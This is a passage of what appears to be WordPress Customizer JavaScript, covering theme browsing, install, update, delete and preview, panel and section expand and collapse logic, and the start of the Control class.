					inView = eb >= wt - threshold && et <= wb + threshold;

				if ( inView ) {
					control.container.trigger( 'render-screenshot' );
				}

				// If the image is in view return false so it's cleared from the queue.
				return ! inView;
			} );
		},

		/**
		 * Get visible count.
		 *
		 * @since 4.9.0
		 *
		 * @return {number} Visible count.
		 */
		getVisibleCount: function() {
			return this.contentContainer.find( 'li.customize-control:visible' ).length;
		},

		/**
		 * Update the number of themes in the section.
		 *
		 * @since 4.9.0
		 *
		 * @return {void}
		 */
		updateCount: function( count ) {
			var section = this, countEl, displayed;

			if ( ! count && 0 !== count ) {
				count = section.getVisibleCount();
			}

			displayed = section.contentContainer.find( '.themes-displayed' );
			countEl = section.contentContainer.find( '.theme-count' );

			if ( 0 === count ) {
				countEl.text( '0' );
			} else {

				// Animate the count change for emphasis.
				displayed.fadeOut( 180, function() {
					countEl.text( count );
					displayed.fadeIn( 180 );
				} );
				wp.a11y.speak( api.settings.l10n.announceThemeCount.replace( '%d', count ) );
			}
		},

		/**
		 * Advance the modal to the next theme.
		 *
		 * @since 4.2.0
		 *
		 * @return {void}
		 */
		nextTheme: function () {
			var section = this;
			if ( section.getNextTheme() ) {
				section.showDetails( section.getNextTheme(), function() {
					section.overlay.find( '.right' ).focus();
				} );
			}
		},

		/**
		 * Get the next theme model.
		 *
		 * @since 4.2.0
		 *
		 * @return {wp.customize.ThemeControl|boolean} Next theme.
		 */
		getNextTheme: function () {
			var section = this, control, nextControl, sectionControls, i;
			control = api.control( section.params.action + '_theme_' + section.currentTheme );
			sectionControls = section.controls();
			i = _.indexOf( sectionControls, control );
			if ( -1 === i ) {
				return false;
			}

			nextControl = sectionControls[ i + 1 ];
			if ( ! nextControl ) {
				return false;
			}
			return nextControl.params.theme;
		},

		/**
		 * Advance the modal to the previous theme.
		 *
		 * @since 4.2.0
		 * @return {void}
		 */
		previousTheme: function () {
			var section = this;
			if ( section.getPreviousTheme() ) {
				section.showDetails( section.getPreviousTheme(), function() {
					section.overlay.find( '.left' ).focus();
				} );
			}
		},

		/**
		 * Get the previous theme model.
		 *
		 * @since 4.2.0
		 * @return {wp.customize.ThemeControl|boolean} Previous theme.
		 */
		getPreviousTheme: function () {
			var section = this, control, nextControl, sectionControls, i;
			control = api.control( section.params.action + '_theme_' + section.currentTheme );
			sectionControls = section.controls();
			i = _.indexOf( sectionControls, control );
			if ( -1 === i ) {
				return false;
			}

			nextControl = sectionControls[ i - 1 ];
			if ( ! nextControl ) {
				return false;
			}
			return nextControl.params.theme;
		},

		/**
		 * Disable buttons when we're viewing the first or last theme.
		 *
		 * @since 4.2.0
		 *
		 * @return {void}
		 */
		updateLimits: function () {
			if ( ! this.getNextTheme() ) {
				this.overlay.find( '.right' ).addClass( 'disabled' );
			}
			if ( ! this.getPreviousTheme() ) {
				this.overlay.find( '.left' ).addClass( 'disabled' );
			}
		},

		/**
		 * Load theme preview.
		 *
		 * @since 4.7.0
		 * @access public
		 *
		 * @deprecated
		 * @param {string} themeId Theme ID.
		 * @return {jQuery.promise} Promise.
		 */
		loadThemePreview: function( themeId ) {
			return api.ThemesPanel.prototype.loadThemePreview.call( this, themeId );
		},

		/**
		 * Render & show the theme details for a given theme model.
		 *
		 * @since 4.2.0
		 *
		 * @param {Object} theme - Theme.
		 * @param {Function} [callback] - Callback once the details have been shown.
		 * @return {void}
		 */
		showDetails: function ( theme, callback ) {
			var section = this, panel = api.panel( 'themes' );
			section.currentTheme = theme.id;
			section.overlay.html( section.template( theme ) )
				.fadeIn( 'fast' )
				.focus();

			function disableSwitchButtons() {
				return ! panel.canSwitchTheme( theme.id );
			}

			// Temporary special function since supplying SFTP credentials does not work yet. See #42184.
			function disableInstallButtons() {
				return disableSwitchButtons() || false === api.settings.theme._canInstall || true === api.settings.theme._filesystemCredentialsNeeded;
			}

			section.overlay.find( 'button.preview, button.preview-theme' ).toggleClass( 'disabled', disableSwitchButtons() );
			section.overlay.find( 'button.theme-install' ).toggleClass( 'disabled', disableInstallButtons() );

			section.$body.addClass( 'modal-open' );
			section.containFocus( section.overlay );
			section.updateLimits();
			wp.a11y.speak( api.settings.l10n.announceThemeDetails.replace( '%s', theme.name ) );
			if ( callback ) {
				callback();
			}
		},

		/**
		 * Close the theme details modal.
		 *
		 * @since 4.2.0
		 *
		 * @return {void}
		 */
		closeDetails: function () {
			var section = this;
			section.$body.removeClass( 'modal-open' );
			section.overlay.fadeOut( 'fast' );
			api.control( section.params.action + '_theme_' + section.currentTheme ).container.find( '.theme' ).focus();
		},

		/**
		 * Keep tab focus within the theme details modal.
		 *
		 * @since 4.2.0
		 *
		 * @param {jQuery} el - Element to contain focus.
		 * @return {void}
		 */
		containFocus: function( el ) {
			var tabbables;

			el.on( 'keydown', function( event ) {

				// Return if it's not the tab key
				// When navigating with prev/next focus is already handled.
				if ( 9 !== event.keyCode ) {
					return;
				}

				// Uses jQuery UI to get the tabbable elements.
				tabbables = $( ':tabbable', el );

				// Keep focus within the overlay.
				if ( tabbables.last()[0] === event.target && ! event.shiftKey ) {
					tabbables.first().focus();
					return false;
				} else if ( tabbables.first()[0] === event.target && event.shiftKey ) {
					tabbables.last().focus();
					return false;
				}
			});
		}
	});

	api.OuterSection = api.Section.extend(/** @lends wp.customize.OuterSection.prototype */{

		/**
		 * Class wp.customize.OuterSection.
		 *
		 * Creates section outside of the sidebar, there is no ui to trigger collapse/expand so
		 * it would require custom handling.
		 *
		 * @constructs wp.customize.OuterSection
		 * @augments   wp.customize.Section
		 *
		 * @since 4.9.0
		 *
		 * @return {void}
		 */
		initialize: function() {
			var section = this;
			section.containerParent = '#customize-outer-theme-controls';
			section.containerPaneParent = '.customize-outer-pane-parent';
			api.Section.prototype.initialize.apply( section, arguments );
		},

		/**
		 * Overrides api.Section.prototype.onChangeExpanded to prevent collapse/expand effect
		 * on other sections and panels.
		 *
		 * @since 4.9.0
		 *
		 * @param {boolean}  expanded - The expanded state to transition to.
		 * @param {Object}   [args] - Args.
		 * @param {boolean}  [args.unchanged] - Whether the state is already known to not be changed, and so short-circuit with calling completeCallback early.
		 * @param {Function} [args.completeCallback] - Function to call when the slideUp/slideDown has completed.
		 * @param {Object}   [args.duration] - The duration for the animation.
		 */
		onChangeExpanded: function( expanded, args ) {
			var section = this,
				container = section.headContainer.closest( '.wp-full-overlay-sidebar-content' ),
				content = section.contentContainer,
				backBtn = content.find( '.customize-section-back' ),
				sectionTitle = section.headContainer.find( '.accordion-section-title' ).first(),
				body = $( document.body ),
				expand, panel;

			body.toggleClass( 'outer-section-open', expanded );
			section.container.toggleClass( 'open', expanded );
			section.container.removeClass( 'busy' );
			api.section.each( function( _section ) {
				if ( 'outer' === _section.params.type && _section.id !== section.id ) {
					_section.container.removeClass( 'open' );
				}
			} );

			if ( expanded && ! content.hasClass( 'open' ) ) {

				if ( args.unchanged ) {
					expand = args.completeCallback;
				} else {
					expand = function() {
						section._animateChangeExpanded( function() {
							sectionTitle.attr( 'tabindex', '-1' );
							backBtn.attr( 'tabindex', '0' );

							backBtn.trigger( 'focus' );
							content.css( 'top', '' );
							container.scrollTop( 0 );

							if ( args.completeCallback ) {
								args.completeCallback();
							}
						} );

						content.addClass( 'open' );
					}.bind( this );
				}

				if ( section.panel() ) {
					api.panel( section.panel() ).expand({
						duration: args.duration,
						completeCallback: expand
					});
				} else {
					expand();
				}

			} else if ( ! expanded && content.hasClass( 'open' ) ) {
				if ( section.panel() ) {
					panel = api.panel( section.panel() );
					if ( panel.contentContainer.hasClass( 'skip-transition' ) ) {
						panel.collapse();
					}
				}
				section._animateChangeExpanded( function() {
					backBtn.attr( 'tabindex', '-1' );
					sectionTitle.attr( 'tabindex', '0' );

					sectionTitle.trigger( 'focus' );
					content.css( 'top', '' );

					if ( args.completeCallback ) {
						args.completeCallback();
					}
				} );

				content.removeClass( 'open' );

			} else {
				if ( args.completeCallback ) {
					args.completeCallback();
				}
			}
		}
	});

	api.Panel = Container.extend(/** @lends wp.customize.Panel.prototype */{
		containerType: 'panel',

		/**
		 * @constructs wp.customize.Panel
		 * @augments   wp.customize~Container
		 *
		 * @since 4.1.0
		 *
		 * @param {string}  id - The ID for the panel.
		 * @param {Object}  options - Object containing one property: params.
		 * @param {string}  options.title - Title shown when panel is collapsed and expanded.
		 * @param {string}  [options.description] - Description shown at the top of the panel.
		 * @param {number}  [options.priority=100] - The sort priority for the panel.
		 * @param {string}  [options.type=default] - The type of the panel. See wp.customize.panelConstructor.
		 * @param {string}  [options.content] - The markup to be used for the panel container. If empty, a JS template is used.
		 * @param {boolean} [options.active=true] - Whether the panel is active or not.
		 * @param {Object}  [options.params] - Deprecated wrapper for the above properties.
		 */
		initialize: function ( id, options ) {
			var panel = this, params;
			params = options.params || options;

			// Look up the type if one was not supplied.
			if ( ! params.type ) {
				_.find( api.panelConstructor, function( Constructor, type ) {
					if ( Constructor === panel.constructor ) {
						params.type = type;
						return true;
					}
					return false;
				} );
			}

			Container.prototype.initialize.call( panel, id, params );

			panel.embed();
			panel.deferred.embedded.done( function () {
				panel.ready();
			});
		},

		/**
		 * Embed the container in the DOM when any parent panel is ready.
		 *
		 * @since 4.1.0
		 */
		embed: function () {
			var panel = this,
				container = $( '#customize-theme-controls' ),
				parentContainer = $( '.customize-pane-parent' ); // @todo This should be defined elsewhere, and to be configurable.

			if ( ! panel.headContainer.parent().is( parentContainer ) ) {
				parentContainer.append( panel.headContainer );
			}
			if ( ! panel.contentContainer.parent().is( panel.headContainer ) ) {
				container.append( panel.contentContainer );
			}
			panel.renderContent();

			panel.deferred.embedded.resolve();
		},

		/**
		 * @since 4.1.0
		 */
		attachEvents: function () {
			var meta, panel = this;

			// Expand/Collapse accordion sections on click.
			panel.headContainer.find( '.accordion-section-title' ).on( 'click keydown', function( event ) {
				if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
					return;
				}
				event.preventDefault(); // Keep this AFTER the key filter above.

				if ( ! panel.expanded() ) {
					panel.expand();
				}
			});

			// Close panel.
			panel.container.find( '.customize-panel-back' ).on( 'click keydown', function( event ) {
				if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
					return;
				}
				event.preventDefault(); // Keep this AFTER the key filter above.

				if ( panel.expanded() ) {
					panel.collapse();
				}
			});

			meta = panel.container.find( '.panel-meta:first' );

			meta.find( '> .accordion-section-title .customize-help-toggle' ).on( 'click', function() {
				if ( meta.hasClass( 'cannot-expand' ) ) {
					return;
				}

				var content = meta.find( '.customize-panel-description:first' );
				if ( meta.hasClass( 'open' ) ) {
					meta.toggleClass( 'open' );
					content.slideUp( panel.defaultExpandedArguments.duration, function() {
						content.trigger( 'toggled' );
					} );
					$( this ).attr( 'aria-expanded', false );
				} else {
					content.slideDown( panel.defaultExpandedArguments.duration, function() {
						content.trigger( 'toggled' );
					} );
					meta.toggleClass( 'open' );
					$( this ).attr( 'aria-expanded', true );
				}
			});

		},

		/**
		 * Get the sections that are associated with this panel, sorted by their priority Value.
		 *
		 * @since 4.1.0
		 *
		 * @return {Array}
		 */
		sections: function () {
			return this._children( 'panel', 'section' );
		},

		/**
		 * Return whether this panel has any active sections.
		 *
		 * @since 4.1.0
		 *
		 * @return {boolean} Whether contextually active.
		 */
		isContextuallyActive: function () {
			var panel = this,
				sections = panel.sections(),
				activeCount = 0;
			_( sections ).each( function ( section ) {
				if ( section.active() && section.isContextuallyActive() ) {
					activeCount += 1;
				}
			} );
			return ( activeCount !== 0 );
		},

		/**
		 * Update UI to reflect expanded state.
		 *
		 * @since 4.1.0
		 *
		 * @param {boolean}  expanded
		 * @param {Object}   args
		 * @param {boolean}  args.unchanged
		 * @param {Function} args.completeCallback
		 * @return {void}
		 */
		onChangeExpanded: function ( expanded, args ) {

			// Immediately call the complete callback if there were no changes.
			if ( args.unchanged ) {
				if ( args.completeCallback ) {
					args.completeCallback();
				}
				return;
			}

			// Note: there is a second argument 'args' passed.
			var panel = this,
				accordionSection = panel.contentContainer,
				overlay = accordionSection.closest( '.wp-full-overlay' ),
				container = accordionSection.closest( '.wp-full-overlay-sidebar-content' ),
				topPanel = panel.headContainer.find( '.accordion-section-title' ),
				backBtn = accordionSection.find( '.customize-panel-back' ),
				childSections = panel.sections(),
				skipTransition;

			if ( expanded && ! accordionSection.hasClass( 'current-panel' ) ) {
				// Collapse any sibling sections/panels.
				api.section.each( function ( section ) {
					if ( panel.id !== section.panel() ) {
						section.collapse( { duration: 0 } );
					}
				});
				api.panel.each( function ( otherPanel ) {
					if ( panel !== otherPanel ) {
						otherPanel.collapse( { duration: 0 } );
					}
				});

				if ( panel.params.autoExpandSoleSection && 1 === childSections.length && childSections[0].active.get() ) {
					accordionSection.addClass( 'current-panel skip-transition' );
					overlay.addClass( 'in-sub-panel' );

					childSections[0].expand( {
						completeCallback: args.completeCallback
					} );
				} else {
					panel._animateChangeExpanded( function() {
						topPanel.attr( 'tabindex', '-1' );
						backBtn.attr( 'tabindex', '0' );

						backBtn.trigger( 'focus' );
						accordionSection.css( 'top', '' );
						container.scrollTop( 0 );

						if ( args.completeCallback ) {
							args.completeCallback();
						}
					} );

					accordionSection.addClass( 'current-panel' );
					overlay.addClass( 'in-sub-panel' );
				}

				api.state( 'expandedPanel' ).set( panel );

			} else if ( ! expanded && accordionSection.hasClass( 'current-panel' ) ) {
				skipTransition = accordionSection.hasClass( 'skip-transition' );
				if ( ! skipTransition ) {
					panel._animateChangeExpanded( function() {
						topPanel.attr( 'tabindex', '0' );
						backBtn.attr( 'tabindex', '-1' );

						topPanel.focus();
						accordionSection.css( 'top', '' );

						if ( args.completeCallback ) {
							args.completeCallback();
						}
					} );
				} else {
					accordionSection.removeClass( 'skip-transition' );
				}

				overlay.removeClass( 'in-sub-panel' );
				accordionSection.removeClass( 'current-panel' );
				if ( panel === api.state( 'expandedPanel' ).get() ) {
					api.state( 'expandedPanel' ).set( false );
				}
			}
		},

		/**
		 * Render the panel from its JS template, if it exists.
		 *
		 * The panel's container must already exist in the DOM.
		 *
		 * @since 4.3.0
		 */
		renderContent: function () {
			var template,
				panel = this;

			// Add the content to the container.
			if ( 0 !== $( '#tmpl-' + panel.templateSelector + '-content' ).length ) {
				template = wp.template( panel.templateSelector + '-content' );
			} else {
				template = wp.template( 'customize-panel-default-content' );
			}
			if ( template && panel.headContainer ) {
				panel.contentContainer.html( template( _.extend(
					{ id: panel.id },
					panel.params
				) ) );
			}
		}
	});

	api.ThemesPanel = api.Panel.extend(/** @lends wp.customize.ThemsPanel.prototype */{

		/**
		 *  Class wp.customize.ThemesPanel.
		 *
		 * Custom section for themes that displays without the customize preview.
		 *
		 * @constructs wp.customize.ThemesPanel
		 * @augments   wp.customize.Panel
		 *
		 * @since 4.9.0
		 *
		 * @param {string} id - The ID for the panel.
		 * @param {Object} options - Options.
		 * @return {void}
		 */
		initialize: function( id, options ) {
			var panel = this;
			panel.installingThemes = [];
			api.Panel.prototype.initialize.call( panel, id, options );
		},

		/**
		 * Determine whether a given theme can be switched to, or in general.
		 *
		 * @since 4.9.0
		 *
		 * @param {string} [slug] - Theme slug.
		 * @return {boolean} Whether the theme can be switched to.
		 */
		canSwitchTheme: function canSwitchTheme( slug ) {
			if ( slug && slug === api.settings.theme.stylesheet ) {
				return true;
			}
			return 'publish' === api.state( 'selectedChangesetStatus' ).get() && ( '' === api.state( 'changesetStatus' ).get() || 'auto-draft' === api.state( 'changesetStatus' ).get() );
		},

		/**
		 * Attach events.
		 *
		 * @since 4.9.0
		 * @return {void}
		 */
		attachEvents: function() {
			var panel = this;

			// Attach regular panel events.
			api.Panel.prototype.attachEvents.apply( panel );

			// Temporary since supplying SFTP credentials does not work yet. See #42184.
			if ( api.settings.theme._canInstall && api.settings.theme._filesystemCredentialsNeeded ) {
				panel.notifications.add( new api.Notification( 'theme_install_unavailable', {
					message: api.l10n.themeInstallUnavailable,
					type: 'info',
					dismissible: true
				} ) );
			}

			function toggleDisabledNotifications() {
				if ( panel.canSwitchTheme() ) {
					panel.notifications.remove( 'theme_switch_unavailable' );
				} else {
					panel.notifications.add( new api.Notification( 'theme_switch_unavailable', {
						message: api.l10n.themePreviewUnavailable,
						type: 'warning'
					} ) );
				}
			}
			toggleDisabledNotifications();
			api.state( 'selectedChangesetStatus' ).bind( toggleDisabledNotifications );
			api.state( 'changesetStatus' ).bind( toggleDisabledNotifications );

			// Collapse panel to customize the current theme.
			panel.contentContainer.on( 'click', '.customize-theme', function() {
				panel.collapse();
			});

			// Toggle between filtering and browsing themes on mobile.
			panel.contentContainer.on( 'click', '.customize-themes-section-title, .customize-themes-mobile-back', function() {
				$( '.wp-full-overlay' ).toggleClass( 'showing-themes' );
			});

			// Install (and maybe preview) a theme.
			panel.contentContainer.on( 'click', '.theme-install', function( event ) {
				panel.installTheme( event );
			});

			// Update a theme. Theme cards have the class, the details modal has the id.
			panel.contentContainer.on( 'click', '.update-theme, #update-theme', function( event ) {

				// #update-theme is a link.
				event.preventDefault();
				event.stopPropagation();

				panel.updateTheme( event );
			});

			// Delete a theme.
			panel.contentContainer.on( 'click', '.delete-theme', function( event ) {
				panel.deleteTheme( event );
			});

			_.bindAll( panel, 'installTheme', 'updateTheme' );
		},

		/**
		 * Update UI to reflect expanded state
		 *
		 * @since 4.9.0
		 *
		 * @param {boolean}  expanded - Expanded state.
		 * @param {Object}   args - Args.
		 * @param {boolean}  args.unchanged - Whether or not the state changed.
		 * @param {Function} args.completeCallback - Callback to execute when the animation completes.
		 * @return {void}
		 */
		onChangeExpanded: function( expanded, args ) {
			var panel = this, overlay, sections, hasExpandedSection = false;

			// Expand/collapse the panel normally.
			api.Panel.prototype.onChangeExpanded.apply( this, [ expanded, args ] );

			// Immediately call the complete callback if there were no changes.
			if ( args.unchanged ) {
				if ( args.completeCallback ) {
					args.completeCallback();
				}
				return;
			}

			overlay = panel.headContainer.closest( '.wp-full-overlay' );

			if ( expanded ) {
				overlay
					.addClass( 'in-themes-panel' )
					.delay( 200 ).find( '.customize-themes-full-container' ).addClass( 'animate' );

				_.delay( function() {
					overlay.addClass( 'themes-panel-expanded' );
				}, 200 );

				// Automatically open the first section (except on small screens), if one isn't already expanded.
				if ( 600 < window.innerWidth ) {
					sections = panel.sections();
					_.each( sections, function( section ) {
						if ( section.expanded() ) {
							hasExpandedSection = true;
						}
					} );
					if ( ! hasExpandedSection && sections.length > 0 ) {
						sections[0].expand();
					}
				}
			} else {
				overlay
					.removeClass( 'in-themes-panel themes-panel-expanded' )
					.find( '.customize-themes-full-container' ).removeClass( 'animate' );
			}
		},

		/**
		 * Install a theme via wp.updates.
		 *
		 * @since 4.9.0
		 *
		 * @param {jQuery.Event} event - Event.
		 * @return {jQuery.promise} Promise.
		 */
		installTheme: function( event ) {
			var panel = this, preview, onInstallSuccess, slug = $( event.target ).data( 'slug' ), deferred = $.Deferred(), request;
			preview = $( event.target ).hasClass( 'preview' );

			// Temporary since supplying SFTP credentials does not work yet. See #42184.
			if ( api.settings.theme._filesystemCredentialsNeeded ) {
				deferred.reject({
					errorCode: 'theme_install_unavailable'
				});
				return deferred.promise();
			}

			// Prevent loading a non-active theme preview when there is a drafted/scheduled changeset.
			if ( ! panel.canSwitchTheme( slug ) ) {
				deferred.reject({
					errorCode: 'theme_switch_unavailable'
				});
				return deferred.promise();
			}

			// Theme is already being installed.
			if ( _.contains( panel.installingThemes, slug ) ) {
				deferred.reject({
					errorCode: 'theme_already_installing'
				});
				return deferred.promise();
			}

			wp.updates.maybeRequestFilesystemCredentials( event );

			onInstallSuccess = function( response ) {
				var theme = false, themeControl;
				if ( preview ) {
					api.notifications.remove( 'theme_installing' );

					panel.loadThemePreview( slug );

				} else {
					api.control.each( function( control ) {
						if ( 'theme' === control.params.type && control.params.theme.id === response.slug ) {
							theme = control.params.theme; // Used below to add theme control.
							control.rerenderAsInstalled( true );
						}
					});

					// Don't add the same theme more than once.
					if ( ! theme || api.control.has( 'installed_theme_' + theme.id ) ) {
						deferred.resolve( response );
						return;
					}

					// Add theme control to installed section.
					theme.type = 'installed';
					themeControl = new api.controlConstructor.theme( 'installed_theme_' + theme.id, {
						type: 'theme',
						section: 'installed_themes',
						theme: theme,
						priority: 0 // Add all newly-installed themes to the top.
					} );

					api.control.add( themeControl );
					api.control( themeControl.id ).container.trigger( 'render-screenshot' );

					// Close the details modal if it's open to the installed theme.
					api.section.each( function( section ) {
						if ( 'themes' === section.params.type ) {
							if ( theme.id === section.currentTheme ) { // Don't close the modal if the user has navigated elsewhere.
								section.closeDetails();
							}
						}
					});
				}
				deferred.resolve( response );
			};

			panel.installingThemes.push( slug ); // Note: we don't remove elements from installingThemes, since they shouldn't be installed again.
			request = wp.updates.installTheme( {
				slug: slug
			} );

			// Also preview the theme as the event is triggered on Install & Preview.
			if ( preview ) {
				api.notifications.add( new api.OverlayNotification( 'theme_installing', {
					message: api.l10n.themeDownloading,
					type: 'info',
					loading: true
				} ) );
			}

			request.done( onInstallSuccess );
			request.fail( function() {
				api.notifications.remove( 'theme_installing' );
			} );

			return deferred.promise();
		},

		/**
		 * Load theme preview.
		 *
		 * @since 4.9.0
		 *
		 * @param {string} themeId Theme ID.
		 * @return {jQuery.promise} Promise.
		 */
		loadThemePreview: function( themeId ) {
			var panel = this, deferred = $.Deferred(), onceProcessingComplete, urlParser, queryParams;

			// Prevent loading a non-active theme preview when there is a drafted/scheduled changeset.
			if ( ! panel.canSwitchTheme( themeId ) ) {
				deferred.reject({
					errorCode: 'theme_switch_unavailable'
				});
				return deferred.promise();
			}

			urlParser = document.createElement( 'a' );
			urlParser.href = location.href;
			queryParams = _.extend(
				api.utils.parseQueryString( urlParser.search.substr( 1 ) ),
				{
					theme: themeId,
					changeset_uuid: api.settings.changeset.uuid,
					'return': api.settings.url['return']
				}
			);

			// Include autosaved param to load autosave revision without prompting user to restore it.
			if ( ! api.state( 'saved' ).get() ) {
				queryParams.customize_autosaved = 'on';
			}

			urlParser.search = $.param( queryParams );

			// Update loading message. Everything else is handled by reloading the page.
			api.notifications.add( new api.OverlayNotification( 'theme_previewing', {
				message: api.l10n.themePreviewWait,
				type: 'info',
				loading: true
			} ) );

			onceProcessingComplete = function() {
				var request;
				if ( api.state( 'processing' ).get() > 0 ) {
					return;
				}

				api.state( 'processing' ).unbind( onceProcessingComplete );

				request = api.requestChangesetUpdate( {}, { autosave: true } );
				request.done( function() {
					deferred.resolve();
					$( window ).off( 'beforeunload.customize-confirm' );
					location.replace( urlParser.href );
				} );
				request.fail( function() {

					// @todo Show notification regarding failure.
					api.notifications.remove( 'theme_previewing' );

					deferred.reject();
				} );
			};

			if ( 0 === api.state( 'processing' ).get() ) {
				onceProcessingComplete();
			} else {
				api.state( 'processing' ).bind( onceProcessingComplete );
			}

			return deferred.promise();
		},

		/**
		 * Update a theme via wp.updates.
		 *
		 * @since 4.9.0
		 *
		 * @param {jQuery.Event} event - Event.
		 * @return {void}
		 */
		updateTheme: function( event ) {
			wp.updates.maybeRequestFilesystemCredentials( event );

			$( document ).one( 'wp-theme-update-success', function( e, response ) {

				// Rerender the control to reflect the update.
				api.control.each( function( control ) {
					if ( 'theme' === control.params.type && control.params.theme.id === response.slug ) {
						control.params.theme.hasUpdate = false;
						control.params.theme.version = response.newVersion;
						setTimeout( function() {
							control.rerenderAsInstalled( true );
						}, 2000 );
					}
				});
			} );

			wp.updates.updateTheme( {
				slug: $( event.target ).closest( '.notice' ).data( 'slug' )
			} );
		},

		/**
		 * Delete a theme via wp.updates.
		 *
		 * @since 4.9.0
		 *
		 * @param {jQuery.Event} event - Event.
		 * @return {void}
		 */
		deleteTheme: function( event ) {
			var theme, section;
			theme = $( event.target ).data( 'slug' );
			section = api.section( 'installed_themes' );

			event.preventDefault();

			// Temporary since supplying SFTP credentials does not work yet. See #42184.
			if ( api.settings.theme._filesystemCredentialsNeeded ) {
				return;
			}

			// Confirmation dialog for deleting a theme.
			if ( ! window.confirm( api.settings.l10n.confirmDeleteTheme ) ) {
				return;
			}

			wp.updates.maybeRequestFilesystemCredentials( event );

			$( document ).one( 'wp-theme-delete-success', function() {
				var control = api.control( 'installed_theme_' + theme );

				// Remove theme control.
				control.container.remove();
				api.control.remove( control.id );

				// Update installed count.
				section.loaded = section.loaded - 1;
				section.updateCount();

				// Rerender any other theme controls as uninstalled.
				api.control.each( function( control ) {
					if ( 'theme' === control.params.type && control.params.theme.id === theme ) {
						control.rerenderAsInstalled( false );
					}
				});
			} );

			wp.updates.deleteTheme( {
				slug: theme
			} );

			// Close modal and focus the section.
			section.closeDetails();
			section.focus();
		}
	});

	api.Control = api.Class.extend(/** @lends wp.customize.Control.prototype */{
		defaultActiveArguments: { duration: 'fast', completeCallback: $.noop },

		/**
		 * Default params.
		 *
		 * @since 4.9.0
		 * @var {object}
		 */
		defaults: {
			label: '',
			description: '',
			active: true,
			priority: 10
		},

		/**
		 * A Customizer Control.
		 *
		 * A control provides a UI element that allows a user to modify a Customizer Setting.
		 *
		 * @see PHP class WP_Customize_Control.
		 *
		 * @constructs wp.customize.Control
		 * @augments   wp.customize.Class
		 *
		 * @borrows wp.customize~focus as this#focus
		 * @borrows wp.customize~Container#activate as this#activate
		 * @borrows wp.customize~Container#deactivate as this#deactivate
		 * @borrows wp.customize~Container#_toggleActive as this#_toggleActive
		 *
		 * @param {string} id                       - Unique identifier for the control instance.
		 * @param {Object} options                  - Options hash for the control instance.
		 * @param {Object} options.type             - Type of control (e.g. text, radio, dropdown-pages, etc.)
		 * @param {string} [options.content]        - The HTML content for the control or at least its container. This should normally be left blank and instead supplying a templateId.
		 * @param {string} [options.templateId]     - Template ID for control's content.
		 * @param {string} [options.priority=10]    - Order of priority to show the control within the section.
		 * @param {string} [options.active=true]    - Whether the control is active.
		 * @param {string} options.section          - The ID of the section the control belongs to.
		 * @param {mixed}  [options.setting]        - The ID of the main setting or an instance of this setting.
		 * @param {mixed}  options.settings         - An object with keys (e.g. default) that maps to setting IDs or Setting/Value objects, or an array of setting IDs or Setting/Value objects.
		 * @param {mixed}  options.settings.default - The ID of the setting the control relates to.
		 * @param {string} options.settings.data    - @todo Is this used?
		 * @param {string} options.label            - Label.
		 * @param {string} options.description      - Description.
		 * @param {number} [options.instanceNumber] - Order in which this instance was created in relation to other instances.
		 * @param {Object} [options.params]         - Deprecated wrapper for the above properties.
		 * @return {void}
		 */
		initialize: function( id, options ) {
			var control = this, deferredSettingIds = [], settings, gatherSettings;

			control.params = _.extend(
				{},
				control.defaults,
				control.params || {}, // In case subclass already defines.
				options.params || options || {} // The options.params property is deprecated, but it is checked first for back-compat.
			);

			if ( ! api.Control.instanceCounter ) {
				api.Control.instanceCounter = 0;
			}
			api.Control.instanceCounter++;
			if ( ! control.params.instanceNumber ) {
				control.params.instanceNumber = api.Control.instanceCounter;
			}

			// Look up the type if one was not supplied.
			if ( ! control.params.type ) {
				_.find( api.controlConstructor, function( Constructor, type ) {
					if ( Constructor === control.constructor ) {
						control.params.type = type;
						return true;
					}
					return false;
				} );
			}

			if ( ! control.params.content ) {
				control.params.content = $( '<li></li>', {
					id: 'customize-control-' + id.replace( /]/g, '' ).replace( /\[/g, '-' ),
					'class': 'customize-control customize-control-' + control.params.type
				} );
			}

			control.id = id;
			control.selector = '#customize-control-' + id.replace( /\]/g, '' ).replace( /\[/g, '-' ); // Deprecated, likely dead code from time before #28709.
			if ( control.params.content ) {
				control.container = $( control.params.content );
			} else {
				control.container = $( control.selector ); // Likely dead, per above. See #28709.
			}

			if ( control.params.templateId ) {
				control.templateSelector = control.params.templateId;
			} else {
				control.templateSelector = 'customize-control-' + control.params.type + '-content';
			}

			control.deferred = _.extend( control.deferred || {}, {
				embedded: new $.Deferred()
			} );
			control.section = new api.Value();
			control.priority = new api.Value();
			control.active = new api.Value();
			control.activeArgumentsQueue = [];
			control.notifications = new api.Notifications({
				alt: control.altNotice
			});

			control.elements = [];

			control.active.bind( function ( active ) {
				var args = control.activeArgumentsQueue.shift();
				args = $.extend( {}, control.defaultActiveArguments, args );
				control.onChangeActive( active, args );
			} );

			control.section.set( control.params.section );
			control.priority.set( isNaN( control.params.priority ) ? 10 : control.params.priority );
			control.active.set( control.params.active );

			api.utils.bubbleChildValueChanges( control, [ 'section', 'priority', 'active' ] );

			control.settings = {};

			settings = {};
			if ( control.params.setting ) {
				settings['default'] = control.params.setting;
			}
			_.extend( settings, control.params.settings );

			// Note: Settings can be an array or an object, with values being either setting IDs or Setting (or Value) objects.
			_.each( settings, function( value, key ) {
				var setting;
				if ( _.isObject( value ) && _.isFunction( value.extended ) && value.extended( api.Value ) ) {
					control.settings[ key ] = value;
				} else if ( _.isString( value ) ) {
					setting = api( value );
					if ( setting ) {
						control.settings[ key ] = setting;
					} else {
						deferredSettingIds.push( value );
					}
				}
			} );

			gatherSettings = function() {

				// Fill-in all resolved settings.
				_.each( settings, function ( settingId, key ) {
					if ( ! control.settings[ key ] && _.isString( settingId ) ) {
						control.settings[ key ] = api( settingId );
					}
				} );

				// Make sure settings passed as array gets associated with default.
				if ( control.settings[0] && ! control.settings['default'] ) {
					control.settings['default'] = control.settings[0];
				}

				// Identify the main setting.
				control.setting = control.settings['default'] || null;

				control.linkElements(); // Link initial elements present in server-rendered content.
				control.embed();
			};

			if ( 0 === deferredSettingIds.length ) {
				gatherSettings();
			} else {
				api.apply( api, deferredSettingIds.concat( gatherSettings ) );
			}

			// After the control is embedded on the page, invoke the "ready" method.
			control.deferred.embedded.done( function () {
				control.linkElements(); // Link any additional elements after template is rendered by renderContent().
				control.setupNotifications();
				control.ready();
			});
		},

		/**
		 * Link elements between settings and inputs.
		 *
		 * @since 4.7.0
		 * @access public
		 *
		 * @return {void}
		 */
		linkElements: function () {
			var control = this, nodes, radios, element;

			nodes = control.container.find( '[data-customize-setting-link], [data-customize-setting-key-link]' );
			radios = {};

